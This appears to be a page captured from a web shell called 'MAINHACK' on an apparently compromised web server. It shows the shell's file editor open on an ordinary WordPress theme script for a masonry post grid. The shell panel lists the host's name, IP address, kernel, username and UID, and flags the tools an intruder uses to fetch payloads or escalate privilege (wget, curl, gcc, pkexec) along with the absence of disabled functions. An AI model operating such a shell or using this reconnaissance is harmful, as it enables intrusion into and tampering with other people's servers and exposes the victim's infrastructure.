[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ct-post-masonry-widget.js
( function( $ ) { $.sep_grid_refresh = function (){ $('.ct-grid-masonry').each(function () { var iso = new Isotope(this, { itemSelector: '.grid-item', percentPosition: true, masonry: { columnWidth: '.grid-sizer', }, containerStyle: null, stagger: 30, sortBy : 'name', }); var filtersElem = $(this).parent().find('.grid-filter-wrap'); filtersElem.on('click', function (event) { var filterValue = event.target.getAttribute('data-filter'); iso.arrange({filter: filterValue}); }); var filterItem = $(this).parent().find('.filter-item'); filterItem.on('click', function (e) { filterItem.removeClass('active'); $(this).addClass('active'); }); var filtersSelect = $(this).parent().find('.select-filter-wrap'); filtersSelect.change(function() { var filters = $(this).val(); iso.arrange({filter: filters}); }); var orderSelect = $(this).parent().find('.select-order-wrap'); orderSelect.change(function() { var e_order = $(this).val(); if(e_order == 'asc') { iso.arrange({sortAscending: false}); } if(e_order == 'des') { iso.arrange({sortAscending: true}); } }); }); } /* Load More */ $('.ct-grid').each(function () { var _this_wrap = $(this); var html_id = _this_wrap.attr('id'); $(this).find('.ct-load-more').on('click', function (e) { var loadmore = $(this).data('loadmore'); var _this = $(this).parents(".ct-grid"); var layout_type = _this.data('layout'); loadmore.paged = parseInt(_this.data('start-page')) +1; var _this_click = $(this); _this_click.find('i').attr('class', 'fac fac-redo fa-spin'); $.ajax({ url: main_data.ajax_url, type: 'POST', data: { action: 'alico_load_more_post_grid', settings: loadmore } }) .done(function (res) { if(res.status == true) { var html = $("<div></div>").html(res.data.html); html.find(".grid-item").addClass("ct-animated"); html = html.html(); _this.find('.ct-grid-inner').append(html); _this.data('start-page', res.data.paged); if(layout_type == 'masonry'){ _this.imagesLoaded(function() { $.sep_grid_refresh(); $( ".ct-service-grid4 .ct-animated .grid-item-inner" ).hover( function() { $( this ).find('.item-readmore').slideToggle(300); }, function() { $( this ).find('.item-readmore').slideToggle(300); } ); }); } if(res.data.paged >= res.data.max){ _this_click.hide(); } } }) .fail(function (res) { return false; }) .always(function () { _this_click.find('i').attr('class', 'fac fac-redo'); return false; }); }); /* Pagination */ $(document).on('click', '.ct-grid-pagination .ajax a.page-numbers', function() { var _this = $(this).parents(".ct-grid"); var loadmore = _this.find(".ct-grid-pagination").data('loadmore'); var query_vars = _this.find(".ct-grid-pagination").data('query'); var layout_type = _this.data('layout'); var paged = $(this).attr('href'); paged = paged.replace('#', ''); loadmore.paged = parseInt(paged); query_vars.paged = parseInt(paged); // reload pagination $.ajax({ url: main_data.ajax_url, type: 'POST', data: { action: 'alico_get_pagination_html', query_vars: query_vars } }).done(function (res) { if(res.status == true){ _this.find(".ct-grid-pagination").html(res.data.html); } }).fail(function (res) { return false; }).always(function () { return false; }); // load post $.ajax({ url: main_data.ajax_url, type: 'POST', data: { action: 'alico_load_more_post_grid', settings: loadmore } }).done(function (res) { if(res.status == true){ _this.find('.ct-grid-inner .grid-item').remove(); _this.find('.ct-grid-inner').append(res.data.html); _this.data('start-page', res.data.paged); if(layout_type == 'masonry'){ _this.imagesLoaded(function() { $.sep_grid_refresh(); $('html, body').animate({scrollTop: _this.offset().top - 300}, 'slow'); }); } } }).fail(function (res) { return false; }).always(function () { return false; }); return false; }); }); } )( jQuery );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002